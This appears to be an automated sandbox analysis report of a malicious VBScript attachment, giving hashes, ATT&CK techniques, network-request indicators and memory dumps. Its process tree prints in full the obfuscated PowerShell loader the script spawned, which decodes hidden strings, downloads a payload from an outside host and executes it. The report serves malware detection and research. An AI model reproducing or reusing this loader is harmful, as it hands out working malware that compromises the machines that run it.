4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20250207-en
resource tags

arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
submitted
26/02/2025, 08:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AH72799_MINES SERVICES SURINAME N.V.vbs
Size

66KB
MD5

0413291a862dec930cbeacabe1f57e8c
SHA1

264609925d33aa4a99dbf0246f0fd8680f94a8c7
SHA256

4d2227e8ebf7c5711159c86ccd59d8007ca4ffc56d1d6d13c7bcb4494875756e
SHA512

9595f534d657f39fd08df644bff62cb28d2eca57c17279e8df28f21a0fb094658cfebb2b3b5f83c060e7e80444d111e2938b907f42cffc807afcb73f291ca3cf
SSDEEP

1536:apfuabI6RmNplnvrfKpI2ItF/6RH5UUYfD2:aW6RmVnTipgCRZSC

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 57 IoCs

flow	pid	Process
5	2144	powershell.exe
6	2144	powershell.exe
7	2144	powershell.exe
8	2144	powershell.exe
9	2144	powershell.exe
10	2144	powershell.exe
11	2144	powershell.exe
12	2144	powershell.exe
13	2144	powershell.exe
14	2144	powershell.exe
15	2144	powershell.exe
16	2144	powershell.exe
17	2144	powershell.exe
18	2144	powershell.exe
19	2144	powershell.exe
20	2144	powershell.exe
21	2144	powershell.exe
22	2144	powershell.exe
23	2144	powershell.exe
24	2144	powershell.exe
25	2144	powershell.exe
26	2144	powershell.exe
27	2144	powershell.exe
28	2144	powershell.exe
29	2144	powershell.exe
30	2144	powershell.exe
31	2144	powershell.exe
32	2144	powershell.exe
33	2144	powershell.exe
34	2144	powershell.exe
35	2144	powershell.exe
36	2144	powershell.exe
37	2144	powershell.exe
38	2144	powershell.exe
39	2144	powershell.exe
40	2144	powershell.exe
41	2144	powershell.exe
42	2144	powershell.exe
43	2144	powershell.exe
44	2144	powershell.exe
45	2144	powershell.exe
46	2144	powershell.exe
47	2144	powershell.exe
48	2144	powershell.exe
49	2144	powershell.exe
50	2144	powershell.exe
51	2144	powershell.exe
52	2144	powershell.exe
53	2144	powershell.exe
54	2144	powershell.exe
55	2144	powershell.exe
56	2144	powershell.exe
57	2144	powershell.exe
58	2144	powershell.exe
59	2144	powershell.exe
60	2144	powershell.exe
61	2144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2144	2532	WScript.exe	32
PID 2532 wrote to memory of 2144	2532	WScript.exe	32
PID 2532 wrote to memory of 2144	2532	WScript.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AH72799_MINES SERVICES SURINAME N.V.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Monteverdi;function Haskwort($Fatshedera){ .($Scrofulorachitic89) ($Fatshedera)} function Trompetsneglenes($Blegsotigt){$furnishing=4;do{$Habilitetsgrunde+=$Blegsotigt[$furnishing];Format-List;$furnishing+=5} until(!$Blegsotigt[$furnishing])$Habilitetsgrunde}$Renvaskedes=Trompetsneglenes ' PicNOr,rENonht Med.Fa tw';$Renvaskedes+=Trompetsneglenes 'Jew eB edB tencDimoL ReiISkatESnipn agT';$sekarrenes=Trompetsneglenes 'DemeMVognoRakezAs,aiBrealKinelmulta Til/';$Flokinstinktet205=Trompetsneglenes ' G rT VejlFra sTolv1Pro.2';$Zoblers=' tnk[DdlkNS niEGramT,ake.Indissupee L,bR TolvDydsiR.mpCVisce cafpSperOVir IRustNAf,rtDan.mCuraAJazznHuncAPh tgFathe BybrSkr.].ele:Opiu:Engas ebEDimmc OliUForprFritId plt O ey FacP VinrStavo R pTByploConcCTendOCyprLErem=Fu d$NunaFTentlBackoAfmikHy eIPreoN e iSStattGodeIJ ednS.gnk BintBlueEBergTSild2Uafv0Vapo5';$sekarrenes+=Trompetsneglenes 'ev l5knip.Arbe0Pro .ina(TumuWToadi.ustnMilldEn,roOpnaw N ks en SinuNEddeTFire m.l1over0Fart. Ba 0 hy ;Numa PemoW amiNo snPhag6S bb4P ss;Enc Mi.xBest6 Unm4Flie;Mods nonfrPr cvInit:Teat1 Tho3Endo4Dige.Plas0 For)Dybl LeveGLunge ,decPantkReplo .io/ Sal2,edn0 ind1,ira0Subm0Gryd1Saer0 Spr1Apl ,ilFGokaiadvirFabreFrysfArmnoArn xBunn/Dump1Uns 3Styr4H ve. ort0';$Supersensitiveness=Trompetsneglenes 'F ruUchocs Sa e SedrSwan-FairA CilG ltrE ndenDataT';$Prges=Trompetsneglenes ' rieh scht ost fa pSolbsNedg:G im/Rean/VitrcSundaYaoufdetefSjlde UdtcIsochGruniGeniaForbnR mo.vaskcBorgo vermSams/SmoeiForgnVeruvTrip/MillO.echpV,sirTrepeBiditLasttampue rtilSequs uoye ProsSh caVacafSavegPiq iBasifRatitParfsBall.T ermArtusconti';$Playpen=Trompetsneglenes ' Rho>';$Scrofulorachitic89=Trompetsneglenes ' C oIDecae ketx';$Malvales='Vakkelvornes';$Sulpician='\Impropriator.fem';Haskwort (Trompetsneglenes 'Fors$Ju,dGSpejLSulloDet.BAutoACitrl Frk: E.uS BarYAksesAnthTSupee .vamCh rTIta,iRetop.nprn sm i.hecnBlokGBroc=Lage$LuciEFreqn ikv Tan: zigaShriP alopJourDTongASlictUdtnASymb+Quak$OrigSPreauI niLSupepAfseiPeteCChubiMunja Ly,N');Haskwort (Trompetsneglenes 'Paro$BalggSu cL.ikroUgerbL,sea Bemlloft:DellSProou oloB Su.M FreioverN T ri moSSliptPalprReguA PosNMyxoTFrim=Coun$DisopLimarcav,GForheSuveSFlle.Cl nSFal PPreplAal iHo dtopti(Tota$kamspMisclDegeA,ndeYSeptPFa iEpartNSpec)');Haskwort (Trompetsneglenes $Zoblers);$Prges=$Subministrant[0];$neons=(Trompetsneglenes 'Rest$Dep.Gc.sulBri OPassbInc AUnlelUn l:Sv,rAHaugE OpsS alaOOverN Tra=fixtNCro.eLgs WHort-T.skOPudsbBialj Ov E recThertK ll EyepsC.lcyPe,nSDwintCinneH lvm Rke.Orga$ ,egrWh.oeTilbNToxiv Sika So sMar kCo rEIsopd,ungE K ns');Haskwort ($neons);Haskwort (Trompetsneglenes 'A us$ForbANordetur sSlagoErucnHyle.CistH BoueStama,utsdEthne rofrJek sex t[ Ext$FormSNr suPalgpM,leeDrogrSubcsOmheeS ornLamps F.ri anntPseuiomravFil eUnban VejeU sts tyrsBez ]Bro =Feck$IncesCrageMah kKortaAllorEccarRu.oe.etanSkateShees');$Klubvrelse=Trompetsneglenes 'skel$ StaA AanefippsMotho.licnb ot.SkumD.utoo olw NepnUd,olfo,toUdf a AssdNoneFStori DoblR,pueKim,(Hind$SphaPAligrKunsgVi.ieMukks tre,Kass$OrdnFAktioUde rSpromU ria Pa,n NaudjimbsBun ptolvo RemsFordtshraeOrchr TrinSp re GansSa d)';$Formandsposternes=$Systemtipning;Haskwort (Trompetsneglenes 'Told$MetaGFimbLGad OUretB Beba llalBear:M ltiUpr N UovNBog uWarrMAvlieLe tR HusA InvB,ngrLHerdeCannnKasseSu,dsHamsS epu= il( CittRet,ElambsEksht Mul-bhojPanstANegetDow hTal For$T doFH reOTontrPol MUnvea SekNStoldH drsFlyvPFileO HybsS.imTTurreClamrSp rn MereOmveSLyss)');while (!$Innumerableness) {Haskwort (Trompetsneglenes 'Fina$CystgAnt lSu roJuleb,onia nprlJord:ElfeV verrDisadRougiD,sagkla.hBen,e.ofudPen.s StikPrebr DaraC.nsvP mpe NivnDer,eKl.i=garn$ShoaTFordo UmemOpsie,atcnCi.ctBjniu ntm') ;Haskwort $Klubvrelse;Haskwort (Trompetsneglenes 'Utro[AlmetEgochLetur biseVariACzarD ensISideNPostGHarm.IntetC.udHIndvrspekeSysta GruDSrge] Cob:,ona:RetrsSamslSak eP efethroPpoin( Rep4Grut0La d0 ard0Tr m)');Haskwort (Trompetsneglenes ' dle$DingGGra LBr,nO otoBSta aL,nilDemo:RangIkrllNBen,NC luuI famMusneBulbr HomAPignbEuphLLongElighnKiloekamuS iagSC ll=h lp(Klant StrE,ympsBevitAbor- SlepIdepaD sttCenthPla Mill$PhagfRaavO,arcrPianmRemaaFeriNG updSigmsNorepGua oBaths Foat M nE g.dR Tr NThy EHyp sCata)') ;Haskwort (Trompetsneglenes 'grsr$OvergC,wplFlleoTenaBA skaStaklLi t:Ko.dBSpleEBr.dsCo.gt.imiI A,oAGunpR blai SprA VilNLon = Dam$ HjeGS urlAnapot ndBLensaSlmmL Tff:SimpC.chlhCa pAOve uOkseFProcE errRImp sOnag+ Mis+I.on%,isp$Ur aSKanaU erbF.rsmTriaiindsNPenii a esBesmtNyskrA teAme,vNS,rkTDec,.R,accBeatOP niuFor,nMainT') ;$Prges=$Subministrant[$Bestiarian]}$Suctions=288784;$Skies=31348;Haskwort (Trompetsneglenes ' old$ Selg Moul obsorestBLektaMaa lCard:PossK BiraRea.TJ,gtAOrcinstrikMackeSildRSkra K lb= rs F.bGRanseHurtTBade-amblc hinoMidnn .arTVrlee EgeNGa,ntTose Sk a$ KonF TupobultRdireMForla RegnPozzd rotSL gppNilgOKands C.ptKrakE nybRFilmnFenaEFireS');Haskwort (Trompetsneglenes ' Tor$RickgPrmilGuldo aelbSojaaAktil Mal:hersHBegoeTalaiPh tdUdlgiNajeeTe n past=Demo Teks[ SkaS Runy TeksEd atRebbe npmUnpu.Gi sC JuroSeptnB.ndvCo teMi prMisetStat] ,et:Anbe:AntiFtierrFrouo LavmInduB .ndaUdrasClifec ll6 ros4PunkSRaa tPictr OveiR,ddnS eagSjle(Clea$LivsK T.raK llt,esoamonenTelekPapaeDemor agl)');Haskwort (Trompetsneglenes 'Hemo$DoceG PhyLSv joStembAbomAsmr lPlai:L,sbFHavfi ataBSynsE arorUnshSVegeP uftrKi lNArkeGUnpeNSt rI,awmN V.ggHa dEPearNFor.sKano Rein=Land Nyh [ Trasminky .tasRedntBaadESmaaMBek,.LipoTD plE parxStuetSid .Obj.EB,rgNSlagC avOSakrd e gIE.ecN BargPens] Ha :Fdre:So aA U.hSBu,gcFreeICakrI,tay.In dGZoneEAp oTLedsSPlimT estrGlosiImpaNAcriGSvbe(baga$Hed hSivnETro iMonodViviiLedse L.t)');Haskwort (Trompetsneglenes 'Doug$ TeogHjmoLSt gORbarBGrapa nesL cu : ,liB.seuR blO Fi WP umSFr ktTere=Plet$Aggrf SeriBi lBHun eBin R MedSNeofpImp R HolNFallg eodnSc eI binNGen gAuxeEAarrNstiksSkif.DonkS Bo.U DikBNon Svandt AsmrNemmiAlmenHaecGSkft( ali$skufSBlotu BjecUofftLiceiFjerO ,unNethisMuss,Hjti$Jenas,araKVen iUnfaeFlkksLand)');Haskwort $browst;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2144-4-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download
memory/2144-5-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

Filesize
2.9MB

Download
memory/2144-7-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-11-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-10-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-9-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-8-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2144-12-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2144-13-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download